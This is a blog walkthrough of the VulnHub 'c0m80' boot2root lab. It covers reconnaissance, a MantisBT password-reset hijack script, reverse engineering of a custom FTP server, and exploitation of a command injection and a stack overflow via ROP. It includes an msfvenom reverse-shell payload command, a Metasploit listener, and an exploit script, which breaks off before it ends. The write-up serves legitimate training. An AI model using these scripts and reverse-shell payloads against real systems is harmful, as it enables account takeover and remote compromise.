Affichage des articles dont le libellé est challenge. Afficher tous les articles
Affichage des articles dont le libellé est challenge. Afficher tous les articles

jeudi 12 octobre 2017

VulnHub - c0m80 boot2root

I saw this boot2root pop on twitter and it was rated as a difficult one and
it didn't have any walkthrough or solves apparently, so it picked my interest.

The pre-requisites for any readers would be to know about pentesting in general,
networking, basic web hacking tricks, exploitation and some various tricks.

We'll begin by describing the reconnaissance process, exploit development and
end up with privilege escalation.

Reconnaissance


For reconnaissance, our first tool of choice will be nmap and depending on
the discovered services we will run the appropriate tools.

For nmap scans, it is usually better to proceed in a staged fashion.
Scan the top 100, top 1000 and then all ports depending on what you find while
poking available services.

Some manual testing will allow us to pinpoint software versions
we have on our target and thus know of the exploitable vulnerabilities
it may have.

The first nmap scan

Our first scan will be a top 1000 syn scan with scripting and OS fingerprinting.

# Nmap 7.60 scan initiated Thu Oct  5 10:51:22 2017 as: nmap -sS -vvv -A -oA c0m80-tcp 192.168.56.101
Nmap scan report for 192.168.56.101
Host is up, received arp-response (0.00045s latency).
Scanned at 2017-10-05 10:51:22 EDT for 17s
Not shown: 995 closed ports
Reason: 995 resets
PORT     STATE SERVICE     REASON         VERSION
80/tcp   open  http        syn-ack ttl 64 Microsoft IIS httpd 6.0
|_http-favicon: Unknown favicon MD5: 00BB3873C7F0934968F69D8DDFBD0999
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Microsoft-IIS/6.0
|_http-title: BestestSoftware Ltd.
111/tcp  open  rpcbind     syn-ack ttl 64 2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100003  2,3,4       2049/tcp  nfs
|   100003  2,3,4       2049/udp  nfs
|   100005  1,2,3      38672/tcp  mountd
|   100005  1,2,3      44511/udp  mountd
|   100021  1,3,4      51031/tcp  nlockmgr
|   100021  1,3,4      58158/udp  nlockmgr
|   100024  1          36355/udp  status
|   100024  1          57030/tcp  status
|   100227  2,3         2049/tcp  nfs_acl
|_  100227  2,3         2049/udp  nfs_acl
139/tcp  open  netbios-ssn syn-ack ttl 64 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn syn-ack ttl 64 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open  nfs_acl     syn-ack ttl 64 2-3 (RPC #100227)
MAC Address: 08:00:27:63:32:5B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=10/5%OT=80%CT=1%CU=43246%PV=Y%DS=1%DC=D%G=Y%M=080027%T
OS:M=59D646FB%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=105%TI=Z%CI=I%TS=8
OS:)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B
OS:4ST11NW7%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120
OS:)ECN(R=Y%DF=Y%T=40%W=7210%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+
OS:%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
OS:T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A
OS:=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%D
OS:F=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=4
OS:0%CD=S)

Uptime guess: 0.007 days (since Thu Oct  5 10:41:58 2017)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: C0M80; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1m22s, deviation: 0s, median: 1m22s
| nbstat: NetBIOS name: C0M80, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   C0M80<00>            Flags: <unique><active>
|   C0M80<03>            Flags: <unique><active>
|   C0M80<20>            Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|   WORKGROUP<1e>        Flags: <group><active>
| Statistics:
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_  00 00 00 00 00 00 00 00 00 00 00 00 00 00
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 6870/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 44492/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 64862/udp): CLEAN (Failed to receive data)
|   Check 4 (port 34151/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: c0m80
|   NetBIOS computer name: C0M80\x00
|   Domain name: \x00
|   FQDN: c0m80
|_  System time: 2017-10-05T15:53:02+01:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2017-10-05 10:53:02
|_  start_date: 1600-12-31 19:03:58

TRACEROUTE
HOP RTT     ADDRESS
1   0.45 ms 192.168.56.101

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct  5 10:51:39 2017 -- 1 IP address (1 host up) scanned in 17.13 seconds


The first scan yields quite a bit of information:
- We got a HTTP server, there can a big surface attack to explore
- Samba 4.3.11-Ubuntu : This is the fix to CVE-2017-7494 for Ubuntu 14.04 or Ubuntu 16.04
- We got a NFS share, this can yield interesting access or information if this is misconfigured.
This is mostly configured on Linux.

The second scan yields an interesting port : 20021.
It seems there is a custom FTP server to exploit.

Just knowing that these services are running we can hypothesize about software
running on the machine : Linux, Samba and probably WINE.
Samba 4.3.11-Ubuntu is apparently running on the machine so the probable OS is
Ubuntu 14.04 or Ubuntu 16.04.

The CVE-2017-7494 is fixed so this is not our way in, that's one of
the vulnerabilities (with EternalBlue) to think about when we see
port 445 opened nowadays.

We got the probable OS version from that alone, we'll verify it with more poking.

SMB


SMB is the network protocol that Windows machines use in order to communicate
among themselves. This was re-implemented for Linux under the Samba free project.

This service can yield information about the OS, shares and users depending if
NULL sessions are allowed or you got credentials.

enum4linux will be used to do the job.

$ enum4linux -a 192.168.56.101

[...]

 ========================== 
|    Target Information    |
 ========================== 

Target ........... 192.168.56.101
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

 ====================================================== 
|    Enumerating Workgroup/Domain on 192.168.56.101    |
 ====================================================== 

[+] Got domain/workgroup name: WORKGROUP

 ============================================== 
|    Nbtstat Information for 192.168.56.101    |
 ============================================== 

Looking up status of 192.168.56.101
    C0M80           <00> -         B <ACTIVE>  Workstation Service
    C0M80           <03> -         B <ACTIVE>  Messenger Service
    C0M80           <20> -         B <ACTIVE>  File Server Service
    ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
    WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
    WORKGROUP       <1d> -         B <ACTIVE>  Master Browser
    WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections

    MAC Address = 00-00-00-00-00-00

 ======================================= 
|    Session Check on 192.168.56.101    |
 ======================================= 

[+] Server 192.168.56.101 allows sessions using username '', password ''

 ============================================= 
|    Getting domain SID for 192.168.56.101    |
 ============================================= 

Domain Name: WORKGROUP
Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup

 ======================================== 
|    OS information on 192.168.56.101    |
 ======================================== 

[+] Got OS info for 192.168.56.101 from smbclient: 
[+] Got OS info for 192.168.56.101 from srvinfo:
    C0M80          Wk Sv PrQ Unx NT SNT C0m80 server (Samba, Ubuntu)
    platform_id     :    500
    os version      :    6.1
    server type     :    0x809a03

[...]

 =========================================== 
|    Share Enumeration on 192.168.56.101    |
 =========================================== 

WARNING: The "syslog" option is deprecated
OS=[Windows 6.1] Server=[Samba 4.3.11-Ubuntu]
OS=[Windows 6.1] Server=[Samba 4.3.11-Ubuntu]

    Sharename       Type      Comment
    ---------       ----      -------
    print$          Disk      Printer Drivers
    IPC$            IPC       IPC Service (C0m80 server (Samba, Ubuntu))

    Server               Comment
    ---------            -------

    Workgroup            Master
    ---------            -------
    WORKGROUP            C0M80

[+] Attempting to map shares on 192.168.56.101
//192.168.56.101/print$    Mapping: DENIED, Listing: N/A
//192.168.56.101/IPC$    Mapping: OK    Listing: DENIED

[...]

 ========================================================================= 
|    Users on 192.168.56.101 via RID cycling (RIDS: 500-550,1000-1050)    |
 ========================================================================= 

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\b0b (Local User)
S-1-22-1-1001 Unix User\al1ce (Local User)

[...]

The information we are able to grab from that scan:
- OS : Ubuntu 14.04 or Ubuntu 16.04
- users : b0b and al1ce
- no available shares

NFS


This service can yield access to files or code execution or privilege escalation
depending on what we can write/overwrite or read.

We first look if it exports shares.

root@kali:~/c0m80# showmount -e 192.168.56.101
Export list for 192.168.56.101:
/ftpsvr/bkp *

It does export a share that is accessible to anyone and we probably also have
RW permissions.

We mount it and explore the share.

root@kali:~/c0m80# mkdir bkp
root@kali:~/c0m80# mount 192.168.56.101:/ftpsvr/bkp bkp/
root@kali:~/c0m80# ls -lash bkp/
total 2.7M
4.0K drwxrwx--- 2 root   backup 4.0K Sep 22 21:37 .
4.0K drwxr-xr-x 3 root   root   4.0K Oct  5 13:55 ..
2.7M -rw-r--r-- 1 backup backup 2.7M Oct  5  2017 ftp104.bkp


That ftp104.bkp is a hexdump of a binary we'll have to exploit, this will be
detailed in a later section.

HTTP


Using DirBuster we find several pages and directories that yield more information
about our target.

Directories:
- bin/
- dev/
- bugs/ : Leads to MantisBT app, this is a bugtracker

Pages:
- bugs/admin/check/ : Leaks MySQL version = 5.5.57
- dev/info.php : Sorry to disappoint but this is pretty much fake (we know it's a Linux box)
- bugs/admin/check/index.php?show_all=1&show_errors=0
This is accessible without authentication and we get versions :
PHP 5.5.9-1ubuntu4.22, MySQL 5.5.57 and AdoDB 5.20.9.
We can infere that our OS version is thus Ubuntu 14.04 and that the security
patch level is around August.

The "bugs/" path leads to an app named MantisBT, it is a bugtracker.

When trying to log on, we'll be welcomed with a nice message:
If you do not yet have an account, please use [guest:guest] to view the bugtracker.

As a guest user, there isn't much to see but "find a vuln" message.

We need to pinpoint the exact MantisBT version if we are to find
an exploitable vulnerability or wish to develop an 0day.

Going through the HTML source we find these interesting imports:
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/default.css" />
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/common_config.php" />
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/status_config.php" />
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/dropzone-4.3.0.min.css" />
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/bootstrap-3.3.6.min.css" />
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/font-awesome-4.6.3.min.css" />
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/open-sans.css" />
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/bootstrap-datetimepicker-4.17.43.min.css" />
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/ace.min.css" />
<link rel="stylesheet" type="text/css" href="http://192.168.56.104/bugs/css/ace-mantis.css" />


Going through the available files on sourceforge, we end up finding our MantisBT version : 2.x.0.

At the end of the reconnaissance phase we managed to gather a precise enough
view of the software running on our target:

Software:
OS              : Ubuntu 14.04 LTS
MantisBT     : 2.x.y
MySQL         : 5.5.57
Samba         : 4.3.11
ADOdb         : 5.20.9
PHP           : 5.5.9-1ubuntu4.22
WINE        : August

Services    : HTTP, NFS, Custom FTP server

This will help tremendously while trying to hack our target further.

Gaining access to MantisBT


The latest publicly available exploit found for MantisBT 2.x.y :
- https://www.exploit-db.com/exploits/41890/ .
It allows an attacker to change the password of a user.

I ended up rewriting the exploit as it didn't tell me if the exploit
was successful or failed.

#!/usr/bin/python2

'''
Original exploit : https://www.exploit-db.com/exploits/41890/

Rewritten as it couldn't differentiate
between successful and failed exploitation.

m_101
'''

import sys
import requests
from bs4 import BeautifulSoup

if len (sys.argv) != 4:
    print 'Usage: %s target_ip user_id new_pass' % sys.argv[0]
    exit (1)

(progname, target_ip, user_id, new_pass) = sys.argv

mysession = requests.session ()

# exploit the vuln
url = 'http://%s/bugs/verify.php?id=%s&confirm_hash=' % (target_ip, user_id)
response = mysession.get (url)

# do the parsing
soup = BeautifulSoup (response.content, 'html.parser')

# get CSRF token and realname
account_update_token = None
realname = None
for tag in soup.find_all ('input'):
    if account_update_token == None and tag.get ('name') == 'account_update_token':
        account_update_token = tag.get ('value')
    if realname == None and tag.get ('name') == 'realname':
        realname = tag.get ('value')

if account_update_token == None or realname == None:
    print '[-] Failed getting account update token or realname'
    exit (1)

# now update the user password
form = {
    'verify_user_id' : user_id,
    'account_update_token' : account_update_token,
    'realname' : realname,
    'password' : new_pass,
    'password_confirm' : new_pass
}

url = 'http://%s/bugs/account_update.php' % target_ip
response = mysession.post (url, data = form)

success = False
for line in response.content.split ('\n'):
    if 'Operation successful.' in line:
        success = True
        break

print 'realname : %s' % realname
print 'token    : %s' % account_update_token

if success:
    print '[+] Successfully hijacked account'
    print '     new password : %s' % new_pass
else:
    print '[-] Exploit failed'



We find out 2 interesting tickets:
Issue : http://192.168.56.101/bugs/view.php?id=6
Leaks : http://c0m80.ctf/bin/npp.zip

The npp.zip is a red herring, there isn't anything there to see but pictures.

Issue : http://192.168.56.101/bugs/view.php?id=1
Leaks : http://192.168.56.101/dev/ftp104.bkp and there is a BOF (Buffer OverFlow)


This .bkp file contains a binary in hexdump format.

Rebuilding our binary


We can rebuild our binary by using xxd or a custom script.

#!/usr/bin/python2
'''
desc : This rebuild the .txt dump to a .bin
'''
import sys
import re
import string

if len (sys.argv) != 3:
    print 'Usage: %s bkp exe' % sys.argv[0]
    exit (1)

(progname, bkp, exe) = sys.argv

def is_valid_hex (hex_str):
    if len (hex_str) != 4:
        return False

    for c in hex_str:
        if c not in string.hexdigits:
            return False

    return True

fp = open (bkp)

content = ''
for idx, line in enumerate (fp.readlines ()):
    line = re.sub (' +', ' ', line)
    fields = line.split (' ')

    for field in fields:
        if is_valid_hex (field):
            content += field.decode ('hex')
fp.close ()

fp_out = open (exe, 'wb')
fp_out.write (content)
fp_out.close ()


When we rebuild the binary from the hexdump (the ftp104.bkp file),
we get a PE binary. The PE executable format is mainly used on Windows,
here we know that we got a Linux distribution so chances are that
this executable is running under WINE.
WINE is a re-implementation of the Windows API by using the Posix API,
this allows to run Windows apps on compatible Unixes.

When running our binary with WINE, we get an error about needing "bfsvrdll.dll".
Let's check if there is anything else in there with binwalk.

$ binwalk ftp104.bin 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Microsoft executable, portable (PE)
328240        0x50230         Unix path: /debian/tmp/usr/i686-w64-mingw32/include/psdk_inc
329269        0x50635         Unix path: /debian/tmp/usr/i686-w64-mingw32/include
335092        0x51CF4         Unix path: /debian/tmp/usr/i686-w64-mingw32/include
337137        0x524F1         Unix path: /debian/tmp/usr/i686-w64-mingw32/include/psdk_inc
379576        0x5CAB8         Microsoft executable, portable (PE)
621288        0x97AE8         Unix path: /debian/tmp/usr/i686-w64-mingw32/include/psdk_inc
622223        0x97E8F         Unix path: /debian/tmp/usr/i686-w64-mingw32/include
626096        0x98DB0         Unix path: /debian/tmp/usr/i686-w64-mingw32/include
627522        0x99342         Unix path: /debian/tmp/usr/i686-w64-mingw32/include


There are in fact 2 binaries.

$ dd if=ftp104.bin of=ftp.exe bs=1 count=379576
379576+0 records in
379576+0 records out
379576 bytes (380 kB, 371 KiB) copied, 0.413207 s, 919 kB/s
$ file ftp.exe 
ftp.exe: PE32 executable (console) Intel 80386, for MS Windows
$ dd if=ftp104.bin of=bfsvrdll.dll bs=1 skip=379576
278766+0 records in
278766+0 records out
278766 bytes (279 kB, 272 KiB) copied, 0.287341 s, 970 kB/s
$ file bsvrdll.dll 
bfsvrdll.dll: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Now our binary runs properly.

Let's hunt for vulnerabilities in that binary.
I decided to use reverse engineering rather than fuzzing to find vulnerabilities
as the binary is small.

Reverse Engineering


We know it's a FTP server so vulnerabilities will be located in one of the
command handlers in the dispatch switch case.

I ended up finding 2 remotely exploitable vulnerabilities.
1 command injection and 1 buffer overflow.

Reading the basic block located at 0x4021F5, we can see there is
a command injection vulnerability as it's constructing a command as follow:
explorer [url]

The command injection is unfortunately not exploitable on the target VM
but it is exploitable on a lab box though.
The vulnerability is triggered by sending a string in the following form:
- http:[some_url] && [cmd]
- https:[some_url] && [cmd]

.text:004021B3 loc_4021B3:                             ; CODE XREF: _ConnectionHandler@4+687 j
.text:004021B3                 mov     dword ptr [esp+8], 5 ; size_t
.text:004021BB                 mov     dword ptr [esp+4], offset aHttp ; "http:"
.text:004021C3                 mov     eax, [ebp+cmd]
.text:004021C6                 mov     [esp], eax      ; char *
.text:004021C9                 call    _strncmp
.text:004021CE                 test    eax, eax
.text:004021D0                 jz      short cmd_injection
.text:004021D2                 mov     dword ptr [esp+8], 6 ; size_t
.text:004021DA                 mov     dword ptr [esp+4], offset aHttps ; "https:"
.text:004021E2                 mov     eax, [ebp+cmd]
.text:004021E5                 mov     [esp], eax      ; char *
.text:004021E8                 call    _strncmp
.text:004021ED                 test    eax, eax
.text:004021EF                 jnz     loc_4022AD
.text:004021F5
.text:004021F5 cmd_injection:                          ; CODE XREF: _ConnectionHandler@4+6FD j
.text:004021F5                 mov     dword ptr [ebp+var_4F3], 52677542h
.text:004021FF                 mov     [ebp+var_4EF], 726F7065h
.text:00402209                 mov     [ebp+var_4EB], 694C2074h
.text:00402213                 mov     [ebp+var_4E7], 53206B6Eh
.text:0040221D                 mov     [ebp+var_4E3], 20746E65h
.text:00402227                 mov     [ebp+var_4DF], 42206F74h
.text:00402231                 mov     [ebp+var_4DB], 2E2E626Fh
.text:0040223B                 mov     [ebp+var_4D7], 74660A2Eh
.text:00402245                 mov     [ebp+var_4D3], 3E70h
.text:0040224F                 mov     eax, [ebp+cmd]
.text:00402252                 mov     [esp+4], eax    ; char *
.text:00402256                 mov     dword ptr [esp], offset aExplorer ; "explorer "
.text:0040225D                 call    _concat
.text:00402262                 mov     [ebp+var_40], eax
.text:00402265                 mov     eax, [ebp+var_40]
.text:00402268                 mov     [esp], eax      ; char *
.text:0040226B                 call    _system
.text:00402270                 mov     eax, [ebp+var_40]
.text:00402273                 mov     [esp], eax      ; void *
.text:00402276                 call    _free
.text:0040227B                 mov     dword ptr [esp+0Ch], 0 ; flags
.text:00402283                 mov     dword ptr [esp+8], 24h ; len
.text:0040228B                 lea     eax, [ebp+var_4F3]
.text:00402291                 mov     [esp+4], eax    ; buf
.text:00402295                 mov     eax, [ebp+sock]
.text:00402298                 mov     [esp], eax      ; s
.text:0040229B                 mov     eax, ds:__imp__send@16
.text:004022A0                 call    eax ; __imp__send@16
.text:004022A2                 sub     esp, 10h
.text:004022A5                 mov     [ebp+var_1C], eax
.text:004022A8                 jmp     loc_403A5A

The buffer overflow on the other hand is quite exploitable.

First the handler get triggered when we send "cd [cmd]".
Then the vulnerable function is triggered if there is a '.' in
the "[cmd]" string.

.text:004036D1 loc_4036D1:                             ; CODE XREF: _ConnectionHandler@4+1B61 j
.text:004036D1                 mov     dword ptr [esp+8], 3 ; size_t
.text:004036D9                 mov     dword ptr [esp+4], offset aCd ; "cd "
.text:004036E1                 mov     eax, [ebp+cmd]
.text:004036E4                 mov     [esp], eax      ; char *
.text:004036E7                 call    _strncmp
.text:004036EC                 test    eax, eax
.text:004036EE                 jz      short loc_403713
.text:004036F0                 mov     dword ptr [esp+8], 3 ; size_t
.text:004036F8                 mov     dword ptr [esp+4], offset aCd_0 ; "CD "
.text:00403700                 mov     eax, [ebp+cmd]
.text:00403703                 mov     [esp], eax      ; char *
.text:00403706                 call    _strncmp
.text:0040370B                 test    eax, eax
.text:0040370D                 jnz     loc_403854
.text:00403713
.text:00403713 loc_403713:                             ; CODE XREF: _ConnectionHandler@4+1C1B j
.text:00403713                 mov     dword ptr [esp], 64h ; size_t
.text:0040371A                 call    _malloc
.text:0040371F                 mov     [ebp+tmp_buf], eax
.text:00403722                 mov     dword ptr [esp+8], 64h ; size_t
.text:0040372A                 mov     dword ptr [esp+4], 0 ; int
.text:00403732                 mov     eax, [ebp+tmp_buf]
.text:00403735                 mov     [esp], eax      ; void *
.text:00403738                 call    _memset
.text:0040373D                 mov     dword ptr [ebp+var_4F3], 20303532h
.text:00403747                 mov     [ebp+var_4EF], 'eriD'
.text:00403751                 mov     [ebp+var_4EB], 'rotc'
.text:0040375B                 mov     [ebp+var_4E7], 'us y'
.text:00403765                 mov     [ebp+var_4E3], 'secc'
.text:0040376F                 mov     [ebp+var_4DF], 'lufs'
.text:00403779                 mov     [ebp+var_4DB], 'c yl'
.text:00403783                 mov     [ebp+var_4D7], 'gnah'
.text:0040378D                 mov     [ebp+var_4D3], 220A6465h
.text:00403797                 mov     [ebp+var_4CF], 660A222Fh
.text:004037A1                 mov     [ebp+var_4CB], 3E7074h
.text:004037AB                 lea     eax, [ebp+var_4C7]
.text:004037B1                 mov     ecx, 0CFh
.text:004037B6                 mov     ebx, 0
.text:004037BB                 mov     [eax], ebx
.text:004037BD                 mov     [eax+ecx-4], ebx
.text:004037C1                 lea     edx, [eax+4]
.text:004037C4                 and     edx, 0FFFFFFFCh
.text:004037C7                 sub     eax, edx
.text:004037C9                 add     ecx, eax
.text:004037CB                 and     ecx, 0FFFFFFFCh
.text:004037CE                 shr     ecx, 2
.text:004037D1                 mov     edi, edx
.text:004037D3                 mov     eax, ebx
.text:004037D5                 rep stosd
.text:004037D7                 mov     [ebp+idx_cmd], 2
.text:004037DE                 jmp     short loc_40381A
.text:004037E0 ; ---------------------------------------------------------------------------
.text:004037E0
.text:004037E0 loc_4037E0:                             ; CODE XREF: _ConnectionHandler@4+1D4D j
.text:004037E0                 mov     edx, [ebp+idx_cmd]
.text:004037E3                 mov     eax, [ebp+cmd]
.text:004037E6                 add     eax, edx
.text:004037E8                 movzx   eax, byte ptr [eax]
.text:004037EB                 cmp     al, '.'
.text:004037ED                 jnz     short loc_403816
.text:004037EF
.text:004037EF vuln_branch:                            ; size_t
.text:004037EF                 mov     dword ptr [esp+8], 64h
.text:004037F7                 mov     eax, [ebp+cmd]
.text:004037FA                 mov     [esp+4], eax    ; char *
.text:004037FE                 mov     eax, [ebp+tmp_buf]
.text:00403801                 mov     [esp], eax      ; char *
.text:00403804                 call    _strncpy
.text:00403809                 mov     eax, [ebp+tmp_buf]
.text:0040380C                 mov     [esp], eax      ; buf
.text:0040380F                 call    vuln_function
.text:00403814                 jmp     short loc_403822

The vulnerable function calls strcpy() !!!
A classic textbook stack based buffer overflow.

.text:00401AB8 ; char *__cdecl vuln_function(char *buf)
.text:00401AB8                 public vuln_function
.text:00401AB8 vuln_function   proc near               ; CODE XREF: _ConnectionHandler@4+1D3C p
.text:00401AB8
.text:00401AB8 local_buf       = byte ptr -2Eh
.text:00401AB8 buf             = dword ptr  8
.text:00401AB8
.text:00401AB8                 push    ebp
.text:00401AB9                 mov     ebp, esp
.text:00401ABB                 sub     esp, 48h
.text:00401ABE                 mov     eax, [ebp+buf]
.text:00401AC1                 mov     [esp+4], eax    ; char *
.text:00401AC5                 lea     eax, [ebp+local_buf]
.text:00401AC8                 mov     [esp], eax      ; char *
.text:00401ACB                 call    _strcpy
.text:00401AD0                 nop
.text:00401AD1                 leave
.text:00401AD2                 retn
.text:00401AD2 vuln_function   endp

Exploitation of both vulnerabilities will be detailed.

Exploitation : Command Injection

A command injection is possible when a command string is built and used in a system() equivalent call using improperly filtered or unfiltered user input.

#!/usr/bin/python2

import sys
from pwn import *

if len (sys.argv) != 2:
    print 'Usage : %s ip' % sys.argv[0]
    exit (1)

(progname, target_ip) = sys.argv

target = remote (target_ip, 20021)
target.sendline ('http://%s && rundll32 Z:\\ftpsrv\\bkp\\shell.dll ' % target_ip)
target.interactive ()

Since it is a Linux target, we can embed a Linux payload into a DLL using msfvenom:

$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.102 LPORT=4444 -f dll > shell.dll

The buffer overflow is reliably exploitable for remote arbitrary code execution
as shown in the next section.

Exploitation : Buffer Overflow


The difficulty of exploitation resides in the limited available size for
our payload.
Since apparently NX is enabled, options are even more limited.

The ftp_buffer is 0x1000 bytes and there are no characters restrictions since
the FTP server uses recv(). The only restriction is not to have any '\x00' in our
buffer as it would truncate our copy in the vuln_function().
The vulnerable handler copies at most 0x64 bytes = 100 bytes in its tmp_buf,
our vuln_function() buffer is 0x2e = 46 bytes. So SEBP and SEIP will be
overwritten respectly at offset 42 and 46 of tmp_buf. We thus have around 50
bytes for our ROP payload, or space for roughly 12 values/pointers.

12 values/pointers ... that indeed restrict our options by quite a bit.
Given the right gadgets this limitation can be bypassed to have arbitrary
code execution.
By chance, there is no ASLR for the .exe and .dll used. I didn't find any infoleak vulnerability
so if ASLR were to be in play, it probably wouldn't be exploitable.

Luckily for us, we find the necessary gadgets for our exploitation to proceed.
The gadget I was looking for was a 'mov dword ptr [register], value' patch kind.
I ended up finding 'add dword ptr [ebx + 0x5e5b30c4], eax ; pop edi ; ret',
this does the job. The only pre-requisites are to know memory state when the
gadget execute and no '\x00' when setting ebx value.

The core of my exploit resides in the following routine:

def patch_once (addr, value):
    ropchain = [
        # pop eax ; ret
        0x625014d5,
        value,
        # pop ebx ; ret
        0x62501033,
        boundint (addr - 0x5e5b30c4, 32),
        # add dword ptr [ebx + 0x5e5b30c4], eax ; pop edi ; ret
        0x62501a45,
        # junk
        0x12345678,
        # ExitThread (0x87654321)
        func_ExitThread,
        0x87654321
    ]

    return pack_rop (ropchain)

This allows us to write 4 bytes at an arbitrary location (provided the target
address doesn't have any NULL bytes).
For each client that connects, the FTP server creates a thread to handle it.
It is quite advantageous to us : we don't have to bother restoring ESP and/or
EBP, we just use ExitThread() and let WINE do the job for us.
At each connection we'll thus write only 4 bytes.

The exploit proceeds as follow:
- Write VirtualAlloc() ROP payload
- Run it to allocate memory
- Write system() ROP payload
- Run a command with system() (this can be removed since the rundll32 trick
doesn't work on the target VM even if it does in the lab)
- Copy shellcode to the earlier alloced memory
- Execute arbitrary shellcode

For the exploit to work, you need to change the shellcode as this was tailored
for my usage.

Another difficulty is finding which precise WINE version our target VM uses.
That's where the security patch (August) level helped.
I did the development on my Ubuntu 14.04 lab box.
Multiple WINE libs found here were tried : https://dl.winehq.org/wine-builds/ubuntu/pool/main/ .
You can find our target's VM one here : https://dl.winehq.org/wine-builds/ubuntu/pool/main/wine-stable-i386_2.0.2~trusty_i386.deb .

To make the exploit more reliable:
- support multiple WINE versions
- cleanup after the exploit : restore the memory state as it was before
exploitation

Metasploit handler


We configure our metasploit handler to get our reverse shell.

msf exploit(handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (linux/x86/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   CMD    /bin/bash -p     yes       The command string to execute
   LHOST  192.168.56.102   yes       The listen address
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target
msf exploit(handler) > exploit 
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 192.168.56.102:4444

The exploit

Here it finally is.
Don't forget to change the used shellcode with yours, otherwise it just won't work.

#!/usr/bin/python2

from pwn import *
import struct
import sys

MEM_COMMIT  = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
# kernel32.dll
func_VirtualAlloc = 0x7b485b20
func_ExitThread = 0x7b480af0
# ftp
func_system = 0x404c1c
# bfsvrdll.dll
addr_ret = 0x6250210F
# pivot
addr_leave = 0x62501497
# system payload
addr_rop_system = 0x13374010
# cleaner
addr_alloc = 0x13370000
addr_shellcode = 0x13370000 + 0x9010

def check_ip (ip_addr):
    try:
        is_valid = [ 0 <= int(x) < 256 for x in re.split('\.',re.match(r'^\d+\.\d+\.\d+\.\d+$', ip_addr).group(0)) ].count (True) == 4
    except:
        return False
    return is_valid

if len (sys.argv) != 3:
    print 'Usage: %s rhost rport' % sys.argv[0]
    exit (1)

(progname, rhost, rport) = sys.argv

# validate rhost
if check_ip (rhost) == False:
    print '[-] Invalid IP'
    exit (1)

# validate rport
try:
    rport = int (rport, 0)
except:
    print '[-] Invalid rport'
    exit (1)

if rport <= 0 or 65535 < rport:
    print '[-] Invalid rport'
